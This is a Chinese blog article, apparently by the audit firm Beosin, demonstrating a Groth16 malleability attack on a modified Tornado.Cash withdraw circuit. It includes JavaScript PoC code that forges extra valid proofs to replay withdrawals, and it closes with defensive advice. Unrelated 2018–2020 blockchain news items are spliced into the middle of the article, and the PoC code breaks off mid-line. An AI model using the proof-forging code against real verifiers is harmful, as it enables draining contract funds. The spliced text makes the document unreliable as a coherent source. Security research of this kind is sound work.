在上篇文章里,我們從原理的角度闡述了 Groth16 證明系統本身存在的延展性漏洞,本文中我們將以Tornado.Cash項目為例,魔改其部分電路和代碼,介紹延展性攻擊流程以及該項目中對應的防范措施,希望其他zkp項目方也引起注意。
其中,Tornado.Cash使用snarkjs庫進行開發,同樣基于如下開發流程,后續就直接進行介紹,不熟悉該庫的請閱讀本系列第一篇文章。(Beosin | 深度剖析零知識證明zk-SNARK漏洞:為什么零知識證明系統并非萬無一失?)
(圖源:https://docs.circom.io/)
User:使用該DApp進行混幣器隱私交易,包括存、取款。
Web page:DApp的前端網頁,網頁上包含一些用戶按鈕。
Relayer:為防止鏈上節點記錄發起隱私交易的ip地址等信息,該服務器會代替用戶重放交易,進一步增強隱私性。
Contract:包含一個代理合約Tornado.Cash Proxy,該代理合約會根據用戶存取款的金額選擇指定的Tornado池子進行后續的存取款操作。目前已存在4個池子,金額分別為:0.1、1、10、100。
User首先在Tornado.Cash的前端網頁上進行對應操作,觸發存款或取款交易,接著由Relayer將其交易請求轉發到鏈上的Tornado.Cash Proxy合約,并根據交易金額轉發到對應的Pool中,最終進行存款和取款等處理,具體的架構如下:
deposit:當用戶進行存款交易時,首先在前端網頁上選擇存入的代幣(BNB、ETH等)和對應的數額,為了更好的確保用戶的隱私性,只能存入四種金額數量;
圖源:<https://ipfs.io/ipns/tornadocash.eth/>
接著服務器會生成兩個31字節的隨機數nullifier、secret,將其拼接后進行pedersenHash運算即可得到commitment,將nullifier+secret加上前綴作為note返回給用戶,note如下圖:
隨后發起一筆deposit交易將commitment等數據發送到鏈上Tornado.Cash Proxy合約中,代理合約根據deposit的金額將數據轉發至對應的Pool中,最后Pool合約將commitment作為葉子結點插入到merkle tree,并將計算出的root存儲在Pool合約中。
withdraw:當用戶進行取款交易時,首先在前端網頁上輸入deposit時返回的note數據和收款地址;
接著服務器會在鏈下檢索出所有Tornadocash的deposit事件,提取其中的commitment構建鏈下的Merkle tree,并根據用戶給出的note數據(nullifier+secret)生成commitment并生成對應的Merkle Path和對應的root,并作為電路輸入得到零知識SNARK proof;最后,再發起一筆withdraw交易到鏈上的Tornado.Cash Proxy合約中,接著根據參數跳轉到對應的Pool合約中驗證證明,將錢打入用戶指定的接收者地址。
國家外匯管理局山西省分局:深入推進跨境金融區塊鏈服務平臺應用:從國家外匯管理局山西省分局了解到,今年以來,山西省外匯局系統指導銀行積極挖掘市場潛力,提升跨境貿易投融資便利化水平,為中小微外貿企業跨境結算與融資擴渠道、增便利。一季度,已為16家企業辦理融資業務116筆,累計放款7.67億美元。 該局提出11條措施精準幫扶中小微外貿企業。建立了覆蓋163家企業的重點中小微外貿企業庫,用足用準山西省155億元再貸款再貼現專用額度。深入推進跨境金融區塊鏈服務平臺應用,已有17家銀行加入平臺,為16家企業辦理融資業務。指導銀行機構精準對接中小微外貿企業融資需求,提供“一企一策”服務,緩解資金壓力。在提升外匯質效方面,暢通外匯業務辦理“綠色通道”,截至4月15日,全省借助“綠色通道”為35家疫情防疫相關企業快速辦理外匯業務64筆766.19萬美元。(瀟湘晨報)[2020/5/16]
其中,Tornado.Cash 的withdraw核心其實就是在不暴露用戶持有的nullifier、secret的情況下,證明某個commitment存在于Merkle tree上,具體的默克爾樹結構如下:
針對第一篇文章Groth16 延展性攻擊原理,我們知道攻擊者使用相同的nullifier、secret其實可以生成多個不同的Proof,那么如果開發者沒有考慮到Proof重放造成的雙花攻擊,就會威脅到項目資金。在對Tornado.Cash進行魔改之前,本文先介紹一下Tornado.Cash最終處理withdraw的Pool中代碼:
/** @dev Withdraw a deposit from the contract. `proof` is a zkSNARK proof data, and input is an array of circuit public inputs `input` array consists of: - merkle root of all deposits in the contract - hash of unique deposit nullifier to prevent double spends - the recipient of funds - optional fee that goes to the transaction sender (usually a relay) */ function withdraw( bytes calldata _proof, bytes32 _root, bytes32 _nullifierHash, address payable _recipient, address payable _relayer, uint256 _fee, uint256 _refund ) external payable nonReentrant { require(_fee <= denomination, "Fee exceeds transfer value"); require(!nullifierHashes[_nullifierHash], "The note has been already spent"); require(isKnownRoot(_root), "Cannot find your merkle root"); // Make sure to use a recent one require( verifier.verifyProof( _proof, [uint256(_root), uint256(_nullifierHash), uint256(_recipient), uint256(_relayer), _fee, _refund] ), "Invalid withdraw proof" ); nullifierHashes[_nullifierHash] = true; _processWithdraw(_recipient, _relayer, _fee, _refund); emit Withdrawal(_recipient, _nullifierHash, _relayer, _fee); }上圖中為了防止攻擊者使用同一個Proof進行雙花攻擊,而又不暴露nullifier、secret,Tornado.Cash在電路中增加了一個公共信號nullifierHash,它是由nullifier進行Pedersen哈希得到,可以作為參數傳到鏈上,Pool合約再使用該變量標識一個正確的Proof是否已經被使用過。但是如果項目方不采用修改電路的方式,而是直接以記錄Proof方式來防止雙花,畢竟這樣做可以減少電路約束,從而節省開銷,但是能否達到目的呢?
北京方正公證處楊和平:與騰訊在多個方面達成深入合作:金色財經報道,4月17日,騰訊安全領御區塊鏈-北京方正公證取證平臺正式發布。在發布會上,北京方正公證處副主任楊和平表示:“區塊鏈作為一種可以在完全不信任的節點之間建立信任機制的技術,具有高可靠度、高透明度、可追溯、永久保存和無法篡改的特性,這些特性與公證的職業要求和行業發展需求具有天然的融合性、互補性,特別是在公證三大效力之一的證據效力方面雙方高度契合。騰訊安全與北京市方正公證處聯合打造的領御區塊鏈北京方正公證取證平臺,就是要在深度整合兩者優勢基礎上通過國家公信力+技術信任力的雙重增信,向社會提供電子證據安全存儲、取證維權、在線公證等智能化服務,從而形成一套規范和標準的互聯網數據公證服務新模式。”
此外,北京方正公證處副主任楊和平還介紹說,未來方正公證處與騰訊將在以下幾方面進行深度合作:1、構件新型公證法律服務業態上進行新的探索;2、拓展公證服務領域上取得新的突破;3、提升公證服務效率上再上新臺階;4、人才培養方面積累新經驗;5、體制機制建設上走出新路子;6、公證服務助力互聯網方面走出新天地。[2020/4/17]
對于此猜想,本文將刪除電路中新增的nullifierHash公共信號,并將合約校驗改為Proof校驗。由于Tornado.Cash在每次withdraw時都會獲取所有的deposit事件組建merkle tree再校驗生成的root值是否在最近生成的30個之內,整個過程太過麻煩,因此本文電路也將刪除merkleTree電路,僅僅留下withdraw部分的核心電路,具體電路如下:
include "../../../../node_modules/circomlib/circuits/bitify.circom"; include "../../../../node_modules/circomlib/circuits/pedersen.circom";// computes Pedersen(nullifier + secret)template CommitmentHasher() { signal input nullifier; signal input secret; signal output commitment; // signal output nullifierHash; // delete component commitmentHasher = Pedersen(496); // component nullifierHasher = Pedersen(248); component nullifierBits = Num2Bits(248); component secretBits = Num2Bits(248); nullifierBits.in <== nullifier; secretBits.in <== secret; for (var i = 0; i < 248; i++) { // nullifierHasher.in[i] <== nullifierBits.out[i]; // delete commitmentHasher.in[i] <== nullifierBits.out[i]; commitmentHasher.in[i + 248] <== secretBits.out[i]; } commitment <== commitmentHasher.out; // nullifierHash <== nullifierHasher.out; // delete}// Verifies that commitment that corresponds to given secret and nullifier is included in the merkle tree of deposits signal output commitment; signal input recipient; // not taking part in any computations signal input relayer; // not taking part in any computations signal input fee; // not taking part in any computations signal input refund; // not taking part in any computations signal input nullifier; signal input secret; component hasher = CommitmentHasher(); hasher.nullifier <== nullifier; hasher.secret <== secret; commitment <== hasher.commitment; // Add hidden signals to make sure that tampering with recipient or fee will invalidate the snark proof // Most likely it is not required, but it's better to stay on the safe side and it only takes 2 constraints // Squares are used to prevent optimizer from removing those constraints signal recipientSquare; signal feeSquare; signal relayerSquare; signal refundSquare; recipientSquare <== recipient * recipient; feeSquare <== fee * fee; relayerSquare <== relayer * relayer; refundSquare <== refund * refund;}component main = Withdraw(20);注意:我們在實驗過程中發現,TornadoCash 在 GitHub 中的最新版代碼里(https://github.com/tornadocash/tornado-core), withdraw 電路缺乏輸出信號,需要人工修正才能正確運行。
動態 | 中國電信翼支付將在區塊鏈核心應用等方面深入開展技術創新合作:金色財經報道,中國電信翼支付將深化\"5G+金融科技\"創新合作,在支付媒介創新、用戶精準營銷、智能授信、智慧風控、智能投顧、區塊鏈核心應用等方面,深入開展技術創新合作,探索\"5G+金融科技\"新模式。[2019/12/12]
根據上述修改后的電路,使用snarkjs庫等按照本文開始給出的開發流程逐步進行,生成如下正常Proof,記為proof1:
The proof: { pi_a: [ 12731245758885665844440940942625335911548255472545721927606279036884288780352n, 11029567045033340566548367893304052946457319632960669053932271922876268005970n, 1n ], pi_b: [ [ 4424670283556465622197187546754094667837383166479615474515182183878046002081n, 8088104569927474555610665242983621221932062943927262293572649061565902268616n ], [ 9194248463115986940359811988096155965376840166464829609545491502209803154186n, 18373139073981696655136870665800393986130876498128887091087060068369811557306n ], [ 1n, 0n ] ], pi_c: [ 1626407734863381433630916916203225704171957179582436403191883565668143772631n, 10375204902125491773178253544576299821079735144068419595539416984653646546215n, 1n ], protocol: 'groth16', curve: 'bn128'}2.2 實驗驗證2.2.1 驗證證明 — circom 生成的默認合約首先,我們使用circom 生成的默認合約進行驗證,該合約由于根本沒有記錄任何已經使用過的Proof相關信息,攻擊者可多次重放proof1造成雙花攻擊。在下列實驗中,可以針對同一電路的同一個input,無限次重放proof,均能通過驗證。
聲音 | 李東榮:依托區塊鏈研究工作組等 就國內外金融科技熱點重點問題開展深入研究:據人民網報道,中國互聯網金融協會會長李東榮做客人民網視頻訪談表示,從四方面加強金融科技發展,其中提到: 第一,依托移動金融專委會、網絡與信息安全專委會、金融科技發展與研究工作組、區塊鏈研究工作組等,牽頭組織行業研究力量,就國內外金融科技熱點重點問題開展深入研究,主要包括英美及部分新興市場國家金融科技監管最新進展,網絡借貸、股權眾籌等金融科技業態國際比較,監管科技、監管沙箱發展情況,大數據、云計算、人工智能、區塊鏈等技術在金融領域的應用情況等。其次是持續加強金融科技標準化建設,提升行業標準化規范化水平。三是履行社會組織對外交往職能,不斷加強金融科技國際交流合作。 第四,協會綜合運用自身掌握數據,以及司法系統、科技公司等第三方合作數據,針對互聯網資管、網絡借貸、ICO、互聯網非法外匯交易、涉嫌違法違規宣傳活動等重點領域持續開展監測。[2018/12/27]
下圖是使用proof1在默認合約中證明驗證通過的實驗截圖,包含上篇文章中使用的Proof參數A、B、C,以及最終的結果:
下圖是我們使用同樣的proof1多次調用verifyProof函數進行證明驗證的結果,實驗發現針對同一input,無論攻擊者使用多少次proof1進行驗證,都可以通過:
當然在我們在snarkjs原生的js代碼庫中進行測試,也并未對已經使用過的Proof進行防范,實驗結果如下:
針對circom 生成的默認合約中的重放漏洞,本文記錄已使用過的正確Proof(proof1)中的一個值,以達到防止使用驗證過的proof進行重放攻擊的目的,具體如下圖所示:
繼續使用proof1進行驗證,實驗發現在使用同樣Proof進行二次驗證時,交易revert報錯:"The note has been already spent",結果如下圖所示:
但是此時雖然達到了防止普通proof重放攻擊的目的,但是前文介紹過groth16算法存在延展性漏洞問題,這種防范措施仍可以被繞過。于是下圖我們構造PoC,按照第一篇文章中的算法針對同一input生成偽造的zk-SNARK證明,實驗發現仍然能通過驗證。生成偽造證明proof2的PoC代碼如下:
import WasmCurve from "/Users/saya/node_modules/ffjavascript/src/wasm_curve.js"import ZqField from "/Users/saya/node_modules/ffjavascript/src/f1field.js"import groth16FullProve from "/Users/saya/node_modules/snarkjs/src/groth16_fullprove.js"import groth16Verify from "/Users/saya/node_modules/snarkjs/src/groth16_verify.js";import * as curves from "/Users/saya/node_modules/snarkjs/src/curves.js";import fs from "fs";import { utils } from "ffjavascript";const {unstringifyBigInts} = utils;groth16_exp();async function groth16_exp(){ let inputA = "7"; let inputB = "11"; const SNARK_FIELD_SIZE = BigInt('21888242871839275222246405745257275088548364400416034343698204186575808495617'); // 2. 讀取string后轉化為int const proof = await unstringifyBigInts(JSON.parse(fs.readFileSync("proof.json","utf8"))); console.log("The proof:",proof); // 生成逆元,生成的逆元必須在F1域 const F = new ZqField(SNARK_FIELD_SIZE); // const F = new F2Field(SNARK_FIELD_SIZE); const X = F.e("123456") const invX = F.inv(X) console.log("x:" ,X ) console.log("invX" ,invX) console.log("The timesScalar is:",F.mul(X,invX)) // 讀取橢圓曲線G1、G2點 const vKey = JSON.parse(fs.readFileSync("verification_key.json","utf8")); // console.log("The curve is:",vKey); const curve = await curves.getCurveFromName(vKey.curve); const G1 = curve.G1; const G2 = curve.G2; const A = G1.fromObject(proof.pi_a); const B = G2.fromObject(proof.pi_b); const C = G1.fromObject(proof.pi_c); const new_pi_a = G1.timesScalar(A, X); //A'=x*A const new_pi_b = G2.timesScalar(B, invX); //B'=x^{-1}*B proof.pi_a = G1.toObject(G1.toAffine(A)); proof.new_pi_a = G1.toObject(G1.toAffine(new_pi_a)) proof.new_pi_b = G2.toObject(G2.toAffine(new_pi_b)) // 將生成的G1、G2點轉化為proof console.log("proof.pi_a:",proof.pi_a); console.log("proof.new_pi_a:",proof.new_pi_a) console.log("proof.new_pi_b:",proof.new_pi_b。生成的偽造證明proof2,具體如下圖所示:
財政部副部長朱光耀:G20正在深入討論對數字經濟征稅:財政部副部長朱光耀在中國發展高層論壇上表示,數字經濟還處在發展的過程中,要以科普、推動的態度來推進數字經濟發展。像任何事物一樣,也要關注數字經濟的其他影響,包括稅收征管、反洗錢監管措施等要跟上。他還透露G20正在深入討論對數字經濟征稅。[2018/3/24]
再次使用該參數調用verifyProof函數進行證明驗證時,實驗發現同一input的情況下使用proof2驗證再次通過了,具體如下所示:
雖然偽造的證明proof2也只能再使用一次,但由于針對同一input的偽造的證明存在幾乎無限多個,因此可能造成合約資金被無限次被提取。
本文同樣使用circom庫的js代碼進行測試,實驗結果proof1和偽造的proof2都可以通過驗證:
經歷了那么多次失敗,難道沒有一種方式可以一勞永逸嗎?此處按照Tornado.Cash中通過校驗原始input是否已經被使用的做法,本文繼續修改合約代碼如下:
需要說明的是,為了展示groth16算法延展性攻擊的防范簡單措施,**本文采取直接記錄原始電路input的方式,但是這不符合零知識證明的隱私原則,電路輸入應當是保密的。**比如 Tornado.Cash中input都是private,需要重新新增一個public input標識一條Proof。本文由于電路中沒有新增標識,所以隱私性相對于Tornado.Cash來說較差,僅作為實驗Demo展示結果如下:
可以發現,上圖中使用同一input的Proof,只有第一次可以通過驗證proof1,隨后該proof1和偽造的proof2都不能通過校驗。
本文主要通過魔改TornadoCash的電路和使用開發者常用的Circom默認生成的合約驗證了重放漏洞的真實性和危害,并進一步驗證了使用在合約層面的普通措施可以防護重放漏洞,但無法防止groth16的延展性攻擊,對此,我們建議零知識證明的項目在項目開發時,應注意:
與傳統DApp使用地址等唯一數據生成節點數據的方式不同,zkp項目通常是使用組合隨機數的方式生成Merkle tree節點,需要注意業務邏輯是否允許插入相同數值節點的情況。因為相同的葉子結點數據可能導致部分用戶資金被鎖死在合約中,或者是同一葉子節點數據存在多個Merkle Proof混淆業務邏輯的情況。
zkp項目方通常使用mapping記錄已使用的過的Proof,防范雙花攻擊。需要注意使用Groth16開發時,由于存在延展性攻擊,因此記錄需使用節點原始數據,而不能僅僅使用Proof相關數據標識。
復雜電路可能存在電路不確定、欠約束等問題,合約驗證時條件不完整,實現邏輯存在漏洞等問題,我們強烈建議項目方在項目上線時,尋求對電路和合約都有一定研究的安全審計公司進行全面審計,盡可能的保證項目安全。
Beosin
企業專欄
閱讀更多
金色財經
Web3活動
Techub Info
區塊律動BlockBeats
金色財經 善歐巴
金色早8點
比推 Bitpush News
TaxDAO
SeeDAO見道
WJB
白話區塊鏈
作者:PermaDAO Arweave網絡本月初在2023半年報中,捕捉到9.4億次交易數據,并期待在8月突破10億大關。然而,交易量激增,下半年迅速達到10億次.
1900/1/1 0:00:00作者:Paul Veradittakit,Pantera Capital合伙人;翻譯:金色財經0xxz傳統的區塊鏈系統面臨著一系列挑戰,阻礙了它們的廣泛采用和可擴展性.
1900/1/1 0:00:00作者:Felix, PANewsa16z Crypto推出了兩項與 SNARK 相關的技術:Lasso和Jolt.
1900/1/1 0:00:00作者:韭而韭之,來源:作者twitter@sir13751154今天跟大家分享一個全新的賽道:Telegram Bot.
1900/1/1 0:00:00從chatGPT問世至今,AI就在以月為單位飛速進化著,其模型之多,迭代之快,讓很多人不不禁驚覺:人類似乎真的站在了AGI大門的邊緣.
1900/1/1 0:00:00作者:Neel Somani,Eclipse創始人,Citadel前量化研究員;翻譯:金色財經xiaozou在Eclipse,我們正在建設可定制的特定應用rollup基礎設施.
1900/1/1 0:00:00